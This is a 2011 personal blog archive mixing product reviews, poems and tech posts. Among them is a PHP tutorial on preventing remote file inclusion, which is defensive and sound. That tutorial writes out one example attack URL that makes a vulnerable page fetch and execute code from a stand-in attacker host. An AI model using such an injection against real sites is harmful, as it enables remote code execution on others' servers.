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frost Crash Plan Remote Computer Server Personal Backup - Subscribe
A few months ago I was in dire need of a way to backup my server, effortlessly and efficiently, as a down server does not generate any income! Since the server is running headless (meaning no monitor attached to it and it had no X Server), the backup software needed to support Linux headless. A friend of mine turned me onto CrashPlan Backup Software, I was intrigued and did a bit of research. The research turned up great results and CrashPlan appeared to be the backup solution that my server required. I decided try the 30-day trial of CrashPlan Pro, as I wanted a Central Backup for my files. Setting up CrashPlan on Linux was pretty effortless (at least for me), just had to download the binary file from CrashPlan and run it on my server. The next step was a bit more difficult, accessing the CrashPlan interface to setup the backups on my Headless Server. Although it took some reading with trials and errors, once I figured it out, I have never second guessed the $5/month I spend on CrashPlan Pro to make sure my server stays backed up. In fact CrashPlan has saved me a few times from stupid mistakes.

Setting up CrashPlan Pro on a Headless Linux Server
The CrashPlan Backup Software setup on a Linux Headless server was actually pretty simple. Once the backup program software has been installed you need to install CrashPlan Software on your personal computer, as the method to access CrashPlan remotely requires an SSH Tunnel over a port, which will give access to the CrashPlan daemon running on your server. If you have ever setup SSH Tunnel's it is a fairly straight forward process. Basically you will take a local port on your own computer, setup the CrashPlan on your computer to use that port, which then connects to port on the server that the server's CrashPlan backup software is running on.

However, before we can tunnel the port we need to make a change to the %CrashPlanInstallDIR%/conf/ui.properties file. Go ahead and open that file up (remember to change the first portion in %'s to be the actual path) and we need to edit the portion that says: #servicePort=4243. Remove the # sign from that line, and then change the port to what you feel like. Just make sure the port is above 1000. I just changed the 4243 to be 4244. The final step is creating a simple SSH Tunnel: ssh -L 4244:localhost:4243 %YourRemoteServerInfo% The 4243 port is the port that the CrashPlan daemon is running on at the server, so be sure to modify that if you setup CrashPlan to run on a different port. Now just open up CrashPlan Backup Software locally and it should be pointing to your server, and you can now setup the backups how you want!

Restoring Files from CrashPlan Pro Backup
Unfortunately, I have had to restore a few files, even a database from the CrashPlan Pro Backup my server does. This was actually a very easy system to use, if you are using the Software with the port Tunneled, you can have it restore the backup right to your server. However, I was not using the CrashPlan Backup Software over a Tunnel and needed to restore a file (as I was on a different computer). The CrashPlan Web Interface, although lacking a bit in functionality, provided me the means to download the file to my local computer, where I was able to SCP (Secure Copy) the file to my server and have it restored within minutes. The Web Interface saved me a huge hassle of trying to find a good backup of the file, which would have taken hours. Fortunately, CrashPlan also versions the file. So even if the backup has overwritten the latest file, you can still go back to clean version of the file by date! A major advantage for when you accidentally copy the wrong file over and overwrite the good file. Needless to say, this made me happy and completely justified the money I spent on the CrashPlan Pro backup!

Want a Means to Backup Amongst Friends?
CrashPlan offers it Backup Software free of charge. What comes with the free version of CrashPlan? Well you can easily setup a cluster with your friends and backup to them, and vice versa. CrashPlan allows you to do backups from Computer -> Computer effortlessly and easily. This feature is extremely handy, especially for families, where their data is not necessarily important enough to do a Central Backup, but want it backed up remotely else where. You just install the software on your families computer and your computer, and viola, you can easily synchronize files between the two (pictures and such) and everyone can have a backup of everyone else's data in case of a fire, flood, hardware crash, or any other type of disaster you can think of. I am extremely impressed that CrashPlan allows you to use their software, free of charge, to backup to other people, friends and family. As well as being a reasonable price for a Central Backup of your highly important data.

Overall
If you cannot tell yet, I am extremely satisfied with CrashPlan's Backup Software and Backup Solution as a whole. It puts my mind at ease, in case of any hardware failures, human mishaps or even natural disasters, knowing that I can easily get my data back and restored. The CrashPlan service has many benefits, one is perhaps a "Send us a harddrive we will copy your data and send it back" system, it costs quite a bit of money to do, but if you need your data back as soon as possible, this option eases your mind a bit more, as you can get your data back up and running in a matter of a day (if overnighted) vs multiple days of file transfers. The multiple options of retrieving and uploading data the CrashPlan offers, mixed in with being able to backup to friends and family, really sets CrashPlan apart from most backup software and to me puts CrashPlan as a must have in my book.
0 Comments
Mood: obscene
KeyWords: cheap, backup, remote, friends, computer, pc, server, linux, headless, effortless, easy, tunnel, ssh, crash, plan, crashplan, remote, easy, web, web interface, storage, setup, help, central, central backup, software, solution, review, simple, low cost, co

end-of shift. Jul 7th, 2011 23:48 - Subscribe
the wind changes
shifting senses

dry summer heat
and now, late,
the storm arriving

these days spent
learning never to
expect anything,
fate altered

and restless air
is electric, my
signals crossed or
I'd have gone elsewhere

but you drew me -
inexplicable magnet -
chance transformed

wanting to reach
for you, a new path

just to know how
it'd feel, holding you

to discover if you'd
taste as I imagine
like the summer storm

these days I never
expect anything, only
wonder and hope
and feel the air shifting

something electric
in you pulls me in
signals crossing,
wires sparking

want you to see
I am here, open,
if your path changes

a quiet storm in
the summer twilight.
3 Comments
Mood: charged.

frost Just Dance 2 Nintendo Wii Game Review Jul 4th, 2011 10:54 - Subscribe
Ready to Dance? Well neither was I, until at my parents house for Christmas, my sister brought Just Dance 2 for the Wii. Well, I still cannot dance, but I did have a blast at trying! Just Dance 2 for the Wii Nintendo Entertainment System is a great game to getting you up off the couch and moving with even a bit of a cardio workout if you let yourself get into Just Dance 2. The variety of songs are not the best, but Just Dance 2 does have some fun songs and decent dance songs. So let's take a deeper look at Just Dance 2!



Is Just Dance 2 a Workout?
Well this all just depends on you. If you let yourself go and dance for 30minutes +, yea it can be a heck of a workout, I know I work up a sweat! How great of a cardio workout is it, I am not sure. I do not think I ever really lost any weight with it, but it was fun. I could play Just Dance 2 for hours, and I did, many nights. The game has a high replay value, in my opinion, because the game is fun, and I always wanted to try and beat my high scores. Just Dance 2 also has a "Just Sweat" feature, where there is a weekly plan for you to do, and all you have to do is get enough "Sweat Points" for the day to hit your mark each week, to promote doing a workout each day. The sweat meter is judged by how much the remote shakes, so it is easy to trick the system, but if you are doing it, why trick it? Well let's move on to the music.

Decent Music Variety
Just Dance 2 has a pretty decent dance music variety. From the Outkast's Hey Ya! to the Jackson 5's I want you back, to my Favorite, Rasputin they all are a blast. Although were a few songs that I did not really care for, like "Big Girl you are Beautiful" or "Cosmic Girl", mainly because it was for me to get into the groove with those songs, but over all most of the songs are easy to get into and have fun with. The Wii Store offers a free song, Fireworks. My wife seems to love this song, again another song I could not really get into, but now anytime we hear the song somewhere, shes gotta start bustin' out the Wii dance moves. Overall this has been a fun game for the whole family.

A Great Game
Overall, I feel that Just Dance 2 was a great game. It had a great re-play factor and is even funner in a big group where you have "Dance off" competitions and try to stay in the game as long as possible. It allows you to be creative and to have a great family game to play, even my 10 year old niece had a blast and my 1.5 year old daughter even got into Rasputin (I guess that shows how much I played Just Dance 2). I have been very happy with Just Dance 2, and if you are looking for something a bit more fun and exciting for the grown ups on the Wii, that has a great replay value and will have your family laughing and dancing, you cannot go wrong with Just Dance 2!
2 Comments
Mood: dangerous
KeyWords: wii, nintendo, game, review, just, dance, just dance, just dance 2, two, 2, fun, laughing, blast, workout, cardio, sweat, challenging, family, friends, dance off, competition, exciting, songs, replay, factor, great

frost Cavalry Storage 1TB Harddrive Review from Newegg Jul 3rd, 2011 12:03 - Subscribe
Looking to do complete backups of my computer systems at home, I ventured into buying a new Hard Drive for Storage. I wanted a simple harddrive, that was external, built tough, and would hold up for the long haul. Since Newegg.com generally has the best deals for anything computer related, in my opinion, I checked Newegg first. I came across many different brands, and the brand that struck my eye was one I had not seen before, Cavalry. Cavalry had a 1TB External Harddrive for $80 plus a $20 Mail-in Rebate. Of course a $60 1TB external drive really peaked my interest, since the last backup drive I bought was a 500GB Fantom and it I/O'ed on me the week previous so I decided to buy the Cavalry Harddrive from Newegg. A year later, I can say that I am still extremely happy with my Cavalry drive.



eSata Card
To my surprise that Cavalry 1 TeraByte drive came with an eSata PCI card, included in the price. The inclusion of the eSata card was awesome, as I did not have an eSata port on my old Pentium 4 PC, which only has 1 x AGP and 4 x PCI. The PCI eSata card works flawlessly, and the speeds are great, especially since it is running over PCI. Backing up from the wired network was giving me about 40MB/s which I was ecstatic about. The performance of the included eSata card went beyond my expectations, as many of the competitor drives, such as Western Digital and Seagate, were way more expensive and either did not have an eSata port or come with the eSata card.

The Harddrive Itself
The Cavalry Harddrive has been awesome. I do S.M.A.R.T. checks on it every week or so and it is still running awesome. The drive does get a little hot, but for a 7200 RPM harddrive transferring at decent speeds, I do not blame it. The spin-up time on the drive is nearly instant, since it is just a backup drive, the spin-up time is not hugely important, but nice all the same, since I set the idle timeout at 30 minutes (again because it is a backup drive, I only backup nightly). For the past year, knock on wood, I have not had the drive do any type of clicking, no errors, and the SMART check comes back clean weekly. I am extremely happy, as with harddrives you never know if you are going to have a drive that works for a week or a year or 10 years, I am hoping this is a 10-year drive. I have never opened the case, so I do not know what brand of HDD it is rocking, but whatever it is, the drive is awesome.

Overall Satisfaction
I am extremely satisfied with the price of the drive, and the performance. I was worried there for a while, because Cavalry was a brand I had never used before, for such a cheap drive. I am glad I decided to give the harddrive a try, as I have never once regretted buying that drive, even a year later. This is my new trustworthy drive, although I do backup remotely as well. So if you are looking for a new harddrive, I would definitely look into Cavalry, I have been extremely happy with my Cavalry Storage harddrive purchase!
0 Comments
Mood: empathetic
KeyWords: cavalry, storage, harddrive, hard, drive, harddisk, disk, terabyte, tera, esata, value, price, awesome, speeds, pci, esata, 7200, RPM, grand, backup, backups, fast, quick, speed, reliable

frost BuyVM.Net Cheap Low End VPS Hosting Review Jun 24th, 2011 00:03 - Subscribe
I have recently occurred a rare $15/year Low End BuyVM Virtual Private Server (VPS) from BuyVM.net (aka Frantech). I say these are rare as when BuyVM has stock, usually within 15minutes their stock is depleted. I got extremely lucky with my purchase. I have been very pleased with BuyVM's support, their staff and most of all the VPS Server.

BuyVM.Net Logo

Cheap VPN
My 128MB $15 per year BuyVM box is used for a Vitrual Private Network (VPN) tunnel for my Phone. I like having the secure tunnel for my phone, especially when you are doing banking transactions etc. The extra layer of security through the VPS puts my mind a bit more at ease. I have used dedicated VPN servers in the past and never had any luck. Earlier this year I was looking into VPS's to create a test site and saw that BuyVM advertised the use of VPN tunnelling, this totally intrigued me, so I signed up for their mailing list and bought one 3 months later (yes I was waiting for 3 months!). For a $15 per year VPN Server, this box is doing everything I want!

Irssi and GNU Screen Please!
To say that I only use the box for a VPN would be lying. I love IRC and I love to keep chat in context without having to join / part all the time. Luckily Linux has Screen and Irssi. This allows me to leave my IRC connections on all the time (well as long as the VPS box stays online), and removes all the annoying parts / joins that usually show on IRC servers. I can access the IRC from my Android HTC EVO with Irssi Connect Bot, so I have IRC at home easily and anywhere with my phone. Perhaps my second favorite part of my BuyVM Box.

Canadian IP
Another bonus to BuyVM is that Frantech is a Canadian company. The servers are not based in Canada, as they are located in Fremont, California. But Frantech does offer Candian IP's. Having a VPN to another country is extremely handy, as it can avoid country set filters like seen in Europe. This allows you to see the full web, in case some sites are blocked, from your home connection! Browsing "anonymously" is something that I love and now I always do. The other awesome part is, if I just want to browse and not have my full connection over VPN I can using SSH Tunnelling. Having all these options for security and privacy is great.

Overall
Over all I am extremely happy with my BuyVM.net Box. The Frantech staff is awesome and fun to chat with in IRC and they are extremely helpful and speedy at resolving issues. I have had some downtime, which for the most part was not Frantech's fault. At one point I was going on 40days uptime, then my VPS rebooted for some reason and was restarted, unfortunately. However, since this VPS is not used for any major websites of mine, and I generally just use my BuyVM VPS for SSH Tunnelling, VPN and Irssi / Screen (for IRC) I got a steal of a deal for $15 per year. I do not think I will ever let go of this box, just too great of a deal. Thank you Frantech for offering great and cost-friendly services!
0 Comments
Mood: marvelous
KeyWords: low, end, vps, low end, virtual, private, server, vpn, ssh, tunnel, security, privacy, box, frantech, awesome, friendly, service, excellent, review, stock, lucky, $15, per, year, irssi, screen

frost Quit Smoking Now with Ecigs - Top Ecigs Reviews Jun 23rd, 2011 00:31 - Subscribe
A friend of mine recently launched a site with the latest trend called, E-Cigs, an Electronic cigarette, in an effort to help people quit smoking. Moving forward E-Cigs are the future of cigarettes! Electronic Cigarettes are starting to become more and more popular as regular cigarettes are becoming more expensive, not to mention extremely unhealthy. In fact millions of people are switching over so why not you? No tar, no smell, smoke inside... With this new trend of ‘smokeless cigarettes’ there are a multitude of different brands. So how do you find the right one for you? Top Ecigs Reveiws site offers trustworthy & quality reviews of the top brands to help you decide which e-cig is right for you.

Top E-Cigs Reviews Logo

What is an electronic cigarette?
Electronic Cigarettes typically come in 2 pieces; a battery and cartridge. The batteries last depending on what brand you chose and cartridges are usually the equivalent of a pack of cigarettes. Most companies will offer a wide variety of flavors, from traditional to coke flavored and nicotine strengths, from 0mg to 24mg, so you can match the electronic cigarette taste exactly to your favorite real cigarette.

At Top E-Cigs Review they offer Discount codes Up-to-date specials and promotions (including e-mail and RSS subscriptions) Trustworthy reviews to help you find the right e-cig Tips & Tricks to help you clean and modify your e-cig. So why not quit smoking real cigarettes today and give an E-cigarette a try!
0 Comments
Mood: rude
KeyWords: electronic, cigarette, e-cig, ecig, reviews, review, top, list, directory, accurate, exactly, favorite, real specials, promotions, discounts, battery, power, tips, stop, smoking, quit, smoking

frost Thanksgiving Point, UT Children's Discovery Center Review Jun 21st, 2011 23:21 - Subscribe
A few weeks ago my sister and her family decided they wanted to visit Thanksgiving Point, UT with us on our way home from a family Reunion. Since we had nothing better to do and had never been to Thanksgiving Point, and of course would be in the area, we decided to tag along. Due to a mis-calculation of my Garmin GPS Unit, my family ended up being a couple hours late. So when we arrived, my sister and I decided to go to the Children Discovery Garden Center, so our little kids (around 2) could have some fun. Well the kids had fun, but to what cost?

Thanksgiving Point Logo

The Construction
I do know that construction is just a temporary deal, but it was very annoying going there, as none of the street signs matched the map provided by Thanksgiving Point. This made the stress level to just visit a place very high. Taking many wrong turns, again due to the street signs not matching up, we finally arrived at the Children Discovery Garden, and to our disappointment, it really was not worth the trip.

Not Worth the Cost
In my opinion, the Children Discovery Garden Center of Thanksgiving Point, Utah, was not worth the money. It cost us $6.00 per adult, the kids, because they were under two, were free. For $12, we got to see sub-par items. Basically it was a quick 15-30 minute stroll around the area with a ship fountain type wading area. There really was not much to see and I expected a bit more for the price. I was very disappointed and not impressed at all for the cost. I understand that items do cost money, but for the $12 with maybe 30minutes of stuff to look at, this was just a major disappointment.

Overall
Over all there was much more to Thanksgiving Point then we visited. We just visited the Children Discovery Garden Center, trying to be thrifty. Unfortunately, we felt it was not worth the money paid. If I wanted to just walk around somewhere, I could have got a nice walk around a part with a lake, for my kid to wade in, instead of paying $12 for a walk around...well not much. It really seemed more like an Outdoor lab type setup for field trips over a family garden center. Although we had a decent time, it did not feel like the cost outweighed the experience. Given so, I cannot recommend the Thanksgiving Point, UT Children Discovery Garden center, unfortunately. Please do not let this dissuade you from trying the other areas, my sister said she had fun at the dinosaur museum. If you think I am wrong, well more props to you. This was just my feelings on the exhibit and I felt it could have had more, or at least cost $1-$2 less, for what the Thanksgiving Point Children Discovery Garden Center offered.
0 Comments
Mood: disillusioned
KeyWords: children, discovery, garden, center, thanksgiving, point, review, fun, cost, price, pricey, worth, money, kids, child, construction, stress, stressful, family, visit

end-of divided Jun 18th, 2011 00:06 - Subscribe
a house divided
against itself
must fall.

and a life
divided?

sectioned into
fenced-off areas;

keeping pieces in
separate boxes -

mirror: I see
your mistakes
in both of
my own eyes,

so I never
get to be
whole, and I
never reconcile -

how can I?

halves, at odds,
are parts of you
and repel

if you
couldn't stay
together, then
how can I
unite
myself?

if you couldn't
love
each other,
how will
my own bonds
be strong enough?

two sides
recognize
each other -
I can't be one
when I
am both

the pressure
imploding
divided, like you,
against myself,
I fall

I am not
equal
to the sum
of my parts,
so I fail

you shield
your flaws
from blame, and
history repeats:
I fall

divided,
like you, but
against myself,
my fate
is sealed:

I fall.
0 Comments
Mood: at odds.

frost How To: Preventing Remote File Inclusion Exploits with PHP Jun 15th, 2011 21:29 - Subscribe
For years now I have participated in many coding Forums. Perhaps one of the biggest issues I see is people using $_GET or another unfiltered variable inside of an include, include_once, require or require_once statement. This is a major security risk, and in an attempt to help people stray away from this I have accumulated many different ways this can be done, "properly" (I quote properly because each person has their own preference). Let's get down to the nitty gritty, and see how we can do inclusions in PHP securely without opening ourselves up to being exploited through a remote file inclusion exploit.

First Things First
Most PHP hosts set the allow_url_fopen to be off by default, in an effort to help prevent these exploits. However, not every host does this, and not everyone uses a shared host. If you are on a VPS or Dedicated server, then you may inadvertently enabled this setting or never disabled it. So first things first, go and find your proper php.ini file, and turn this off. If you relied on fopen of remote files or file_get_contents, I would highly suggest switching over to CURL, as it will be much quicker, and allow for security in the event you did not code all the code on your site or using a mainstream item, like WordPress, where it may contain a vulnerability that anyone could see.

Implementing a White List
A common exploitable code that I have seen is basically something in the form of:
    include($_GET['page']);


If your host has allow_url_fopen enabled, you are just asking to be exploited with a remote file inclusion exploit. Basically, anyone could type in something like: http;//www.yoursite.com/page.php?page=http;//theirsite.com/remote/code/to/execute.php and viola, their code remotely executed and basically just opened up your site fully to them. As you can see, this is a huge issue, and is how a lot of malware and virus's get passed around. Implementing a white list will probably be close to one of the sure fire ways this will never happen. The array can come from a number of sources you want it to, hard coded in the file, from a database setting etc. I am just going to write it in line for simplicity reasons.

    $whiteList = array('index' => 'index.php', 'about' => 'about.php', 'contact' => 'contact.php');
if (!empty($_GET['page']) && in_array($_GET['page'], $whiteList)) {
include($whiteList[$_GET['page']]);
}else {
// default it
include('index.php');
}


As you can see, everything is hard coded, and there is no way for someone to inject their own URL into your site. This would prevent any type of remote file inclusion exploit from being able to be preformed. If you wanted more "security" you could change the names of the files to be something obscured, or include them from a different directory outside of the webroot, so that no one would access them directly. This is generally my preferred method, simply because there is a slim to none chance that you would get remotely exploited.

Using Basename and file_exists
Another method is using the basename and file_exists method. This method I find a bit less secure, given that they can include any file as long as it exists and in the current directory. What the basename does is remove everything but the name of the file. This prevents someone from entering in something like ../../somefile and having that file included, so if your permissions were not setup properly, it could give them access to various stuff, like SSH Keys, logs and other files that you do not want out in the open. The file_exists, make sure that the file exists on the server, this is just an extra precaution. Let's see the code used for this method:

    $file = 'your/path/to/file/' . basename($_GET['page']);
if (file_exists($file)) {
include($file);
}else {
include('your/path/to/file/index.php');
}


For this method, I showed you an example of using a path other then the webroot to include the file. This would attempt to prevent people from just probing for different files, and you can place the pages into their own directory, so only pages meant to be included are included. IE, you could have a 'pages' directory and keep them organized in there. If you are using this method, I would highly recommend using the pages directory or similar.

Other Methods
I am sure there are plenty of other methods, I saw one guy using base64, however, this are the two primary methods I recommend to people for their simplicity. My preferred method overall would be the basename with the pages directory, outside of the webroot. This would mask the pages, and make it more difficult to probe for your pages and remove the risk of a file accidentally being included when it should not. If you have other methods, feel free to post them in the comments.

Finishing Touch
This is just one step you can take to secure your site from being exploited by what we call Script Kiddies and the likes of others. This alone, will not completely secure your site so of course you will need to take other precautions on every other aspect of your site. However, if pulling up pages dynamically using a URL intrigues you, this method will help you to secure yourself from being exploited with a remote file inclusion exploit.

As always, I welcome non-trolling or flaming comments. I will remove any flaming or trolling comments, so please leave positive feedback as all that is being done here is attempting to educate users. If you feel I am wrong, tell me in a constructive way with proof and ways to fix it. Thanks, and hopefully this has helped you!
0 Comments
Mood: splendid
KeyWords: php, exploit, script, kiddies, remote, file, inclusion, remote file inclusion, basename, file_exists, white list, list, include, require, require_once, include_once, allow_url_fopen, fopen, file_get_contents, prevention, precaution, security, help, howto

frost Caught by Harlan Coben a Mystery Thriller Book Review Jun 14th, 2011 20:16 - Subscribe
Harlan Coben is perhaps one of my favorite authors. I love Harlan's Myron Bolitar series as such I read any book he puts out. One of Harlan's more recent book, Caught, reached my eyes and I decided to give it a read. Immediately I became immense in the book, I love a good mystery and I knew that Harlan would produce. I also enjoy how Harlan uses familiar characters from his other previous books and as such it makes you smile just seeing the name when they read.

Dislaimer, This review may contain a few hints and spoilers, if you know Harlan Coben and prefer not to know anything about the book, I suggest you stop here and just buy the book and read it.

Caught by Harlan Coben Book Cover

A Viral Marketing Thriller
A mystery book about how Viral Marketing tear people's life apart hardly sounded interesting to me, but Harlan Coben was able to take the Internet Viral Marketing and make it into a great mystery. Wendy Tynes, who is a news reporter, has Caught yet another sick pedophile on her TV Show. However, Dan Mercer is not your average pedophile, and something about Dan has struck Wendy Tynes as being "off". While the trial for Dan Mercer is going on, a 17 year old girl comes up missing, Haley McWaid, who is a quiet girl, but also a perfectionist. Wendy decides to do some digging on Dan Mercer and some old school buddies, and what she finds will take you for one awesome ride.

Is everything as it seems? It appears not, and Wendy Tynes is bound and determined to unravel the truth, no matter what road it takes her down. With a bit of help from Win (Windsor Home Lockwood the Third appeared in the Myron Bolitar series) Wendy digs as deep as she can, but will she dig too far?

My Take
I thoroughly enjoyed this novel. The characters were laid out, in my opinion, great. If you have read the Myron Bolitar series, you will love the few appearances by Win in this book and it put a smile on my face. You will also find some brief appearances by Hester Crimstein, who is a TV Show Judge now. The book, Caught, is far from being predictable, which I love about a mystery novel. Caught also has many twists and turns and takes you for a thrill ride all the way through. In the end, I do not want to go into great detail, as I hate spoiling books, so I would highly recommend if you are a Mystery / Thriller book junkie, or just love Harlan Coben, check out Caught and give it a read, I bet you will find it hard to put the book down (I know I did).

External Resources
If you would like to see what Harlan Coben thinks about Caught, here is a YouTube video of his review:

0 Comments
Mood: glorious
KeyWords: thriller, mystery, book, review, myron, bolitar, win, windsor lockwood, wendy, caught, series, characters, familiar, fun, enjoyable, great, read, smile, immense, book, reading, author, favorite, harlan, coben, viral, marketing, trial, wendy, show, tv

frost Omaha Steaks Review Jun 14th, 2011 13:28 - Subscribe
When looking for easier way to obtain meals, I often look at fresh solutions, so to speak. When I came across this Omaha Steaks Mailer, I decided to take a look into Omaha Steaks and give them a try. My results are kind of mixed pleasures, but overall I was pleased with the product. What does get annoying is the constant mailers and phone calls. Luckily I can disable the phone calls, however, I cannot control the snail mail mailers. This is a minor annoyance, and some people may not even consider it an annoyance at all.



The Quality
Overall the quality is decent. I mean you could do just as good with a frozen steak on your own. My wife seems to think it is great quality for a frozen steak / meat and it has a great flavor. I think it is kind of so-so, the quality seems to be by preference. The burgers were very nice and easy to grill. They ship out the times to cook them, however, since we live in Colorado at a higher altitude those times needed to be adjusted. As part of a package we received some twice baked potatoes. They are almost always my favorite part of a steak dinner, and Omaha Steaks did not disappoint me with their twice baked. For coming out of a freezer, they tasted delicious, at least as good as the ones you can buy from your store's Deli section. I am not a huge hot dog / franks, fan, and unfortunately their Gourmet Franks did nothing to change my mind. They looked great, but in the end, they still tasted like a hot dog. I may try marinating them next time and see if I cannot produce a bit better Frank. My wife enjoyed them also, however, my little girl did not, which should not be surprising as she is almost 2 and can be a very picky eater. In my little test run, the quality of the food seemed decent, especially for being frozen and shipped.

The Ordering Experience
From start to finish the Omaha Steak experience could not be called "enjoyable", as when is spending money, and seemingly a lot money upfront, enjoyable? However, the easy of ordering online (I hate talking to sales people on the phone) was pretty simple, like most online ordering. With the optional account setup, I chose to setup an account. The process was basically, select what you want (in my case I just entered a promo code from the mailing). Overall, the ordering experience was simple and what was to be expected by today's standard of online ordering.

Breaking it Down
I think Omaha tends to over price their products, to intentionally "knock" down the price to make you feel like you are getting a good deal. I saw through this and broke it down to what it cost per each serving. Overall it is a decent deal, however, a membership to Costco with a vacuum pack sealer, could easily compete with the cost, and you would probably come out much better going that route. But for a small family, in my case 3, with only 2 adults this seems to be a decent deal. Why for the small family, well everything comes in it's own individually wrapped package. This is awesome as I can easily just make myself a burger and my wife a steak, if we both feel like something different, or if I am home alone watching the kid while my wife is going out. This aspect of Omaha Steaks was very appealing to me. I would imagine this being great for a single person, a small family, or perhaps an older couple whose kids have all left / gone off to college. If you have a bigger family, I would probably go the Costco / Sam's Club route, and I think that you would get more bang for your buck.

In the End
In the end I am buying another item from Omaha Steaks right now to give them another go, and it is a Father's Day special. Hopefully, it is a similar if not better experience. I do really think that this solution is not very frugal for large families and I do not like how Omaha Steaks "knocks" their prices down all the time. I mean really, it does make you feel like you are getting a deal, but it also feels like a scam. I know it is not a scam now, but I think it would present their appearance better having "real" prices and do "real" specials, instead of these constant specials and in my opinion, if you buy anything from them for their "real" price, you are a moron and you deserve to be wasting your money. Hope this review helps you decide if you want to give Omaha Steaks a try or not! Good Eatings!
0 Comments
Mood: smiley
KeyWords: omaha, steaks, review, decent, okay, mixed, pleasure, good, product, steaks, burgers, franks, hot dogs, online, ordering, experience, preference, test, trial, surprising, picky, food, frozen, delivered

frost Brueggers Bagel Sandwiches Review Jun 7th, 2011 15:18 - Subscribe
I love a fresh hot bagel for breakfast. The only thing to trump that is by throwing an Egg on it with some bacon and vegetables, thankfully, Brueggers in Lakewood, CO does just that! I have been a fan of Brueggers for a few years now and will generally have a breakfast bagel from them a few times a month. I am not one for crazy variety, if I find something I like I tend to stick with it. Brueggers offers me everything I need from my Bagel Breakfast sandwich, which I love so much!

A picture of bagels

Customer Service
Overall I would say the atmosphere at Brueggers is cozy. Whenever there is a line, I find the process to go quickly enough, as I have never waited for longer then 5-10 minutes from the time I ordered my Bagel till the time I sat down to eat it. I would call that being on the ball with service. The staff is wonderful and it is apparent they know what the are doing. I also truly enjoy their Punch Card system, buy 10 get 1 free. I usually get a "free" bagel every 2-3 Months, which in my mind is not a bad deal if I am going to be eating the Bagel anyways.

My Usual Order
As I stated, I tend to stick to something if it is good enough to stick to. At Brueggers, my favorite breakfast bagel is The Westerner on Jalapeno Cheddar. This is just an awesome bagel, I do get sort of sad when I go in hoping for my Westerner on Jalapeno Cheddar to find out they are out. The next best thing would be to have the Pesto Cheese Bagel, which is basically the Jalapeno Cheddar, just without the Jalapeno.

Overall
Overall I really enjoy Brueggers! From the speed of service, niceness of service to the quality of food, they really have their Bagel Shop down to a science. The next time you are out and about in the morning and looking for a great Bagel Breakfast, I would highly recommend stopping at Brueggers. They offer an awesome Jalapeno Bagel and of course my favorite sandwich inners, the Westerner if that is not your cup of tea, I am sure you can find something savory for yourself.
0 Comments
Mood: jinxed
KeyWords: bagels, brueggers, delicious, yum, lakewood, colorado, denver, breakfast, jalapeño, cheddar, fun, excellent, service, customer service, comfy, warm, hospitable, recommend

frost Amazon Does not Accept Colorado Associates Jun 3rd, 2011 23:20 - Subscribe
Recently, I wanted to try and sign up to be an Amazon Associate to promote a few books I have read etc. Deciding that this would be pretty trivial to setup, I ventured out to do become an Amazon Associate. Well the process was not trivial at all. When I was trying to signup, Amazon kept telling me that I had a bad state. No other error message. After using 3 different browsers and many different variations of for Colorado, thinking it wanted the state in a specific format, I opted to contact Amazon. Well here is Amazon's response:
Amazon Not Longer Allows Coloradans to be Associates
quote:

Thank you for contacting us about the Colorado legislation. The Colorado government recently enacted a law to impose sales tax regulations on online retailers. The regulations are burdensome and no other state has similar rules. The new regulations do not require online retailers to collect sales tax. Instead, they are clearly intended to increase the compliance burden to a point where online retailers will be induced to "voluntarily" collect Colorado sales tax -- a course we won't take.

We and many others strongly opposed this legislation, known as HB 10-1193, but it was enacted anyway. Regrettably, as a result of the new law, we decided to stop advertising through Associates based in Colorado. We plan to continue to sell to Colorado residents, however, and will advertise through other channels, including through Associates based in other states.

There is a right way for Colorado to pursue its revenue goals, but this new law is a wrong way. As we repeatedly communicated to Colorado legislators, including those who sponsored and supported the new law, we are not opposed to collecting sales tax within a constitutionally permissible system applied evenhandedly. The U.S. Supreme Court has defined what would be constitutional, and if Colorado would repeal the current law or follow the constitutional approach to collection, we would welcome the opportunity to reinstate Colorado-based Associates.

You may express your views of Colorado's new law to members of the General Assembly (http://www.leg.state.co.us/Clics/CLICS2010A/csl.nsf/directory?openframeset) and to Governor Bill Ritter (http://www.colorado.gov/cs/Satellite/GovRitter/GOVR/1177024890452), who signed the bill.

We appreciate your understanding.

Best regards,

Heather T
Amazon.com Associates Program



Well that sucks for me and Amazon I guess. I just wish instead of blindly blocking Colorado they would have at least put an error message about it. I wasted a couple hours doing this and was not very happy. I of course understand their position, they just need to be more verbose about the situation and not try and hide it and make people even more confused. If you live in Colorado, I would ask you to take a stand, and if you feel the above is wrong, contact the Colorado General Assembly and urge them to change it.

(sarcasm)But hey! At least Amazon still wants to sell to Coloradans. (end sarcasm) They just do not want Coloradans to become Associates to earn a little money on the side. In my opinion, if Amazon wants to do this right they need to man up and not even sell anything to Coloradans and explain why they are not doing it. I highly doubt that blocking people from being associates is going to make the Law Makers change their minds.
0 Comments
Mood: vain
KeyWords: associates, amazon, colorado, not, allowed, sell, laws, coloradans, money, earn, exception, accept, allow, disallowed, not allowed

frost Tupac Shakur Still Alive? PBS.org Hacked! May 30th, 2011 01:06 - Subscribe
Late Sunday night, PBS.org was hacked and a news story was posted saying that Tupac Shakur and Biggie were still alive and living in a small town in New Zealand. Tupac apparently sent his Diary to a family member and the New Zealand city, to be unnamed, was closed down for security reasons. A friend of mine on IRC captured the image of the original site before it was taken down, see the image below.

PBS.org Hacked, Tupac Shakur and Biggie alive in New Zealand, picture of article

Not long after the posting PBS.org removed the article.

For more information see Hacked PBS Reports Tupac Biggie Alive

Have a great Memorial Day Weekend!
0 Comments
Mood: bootylicious
KeyWords: tupac, original, shakur, new, article, alive, pbs, hacked, new zealand, biggie, rappers, famous, alive, well living, closed, down, image, security

frost Sony Vaio F11 Laptop Review - Ubuntu Linux May 26th, 2011 23:13 - Subscribe
Last month I was in need of a new laptop. After doing my looking at deals I came to a decision to purchase a Sony Vaio F11. It was on sale at NewEgg and had everything I was looking for in a laptop. Well the laptop was bought, thanks to David, and I have been using it solidly for about a month now. Over the month I have tried various Operating Systems on the Sony Vaio laptop, from Windows 7 to Ubuntu to Arch Linux. I have to say, my initial impressions were not great and my frustration level was very high. To avoid any real negative feedback, I still love my Vaio now that I finally have it working with Arch Linux, but it was rough getting to that point and here is how it panned out.

Sony Vaio F11 Series Not Ubuntu Friendly

Let's Use Ubuntu...or Not
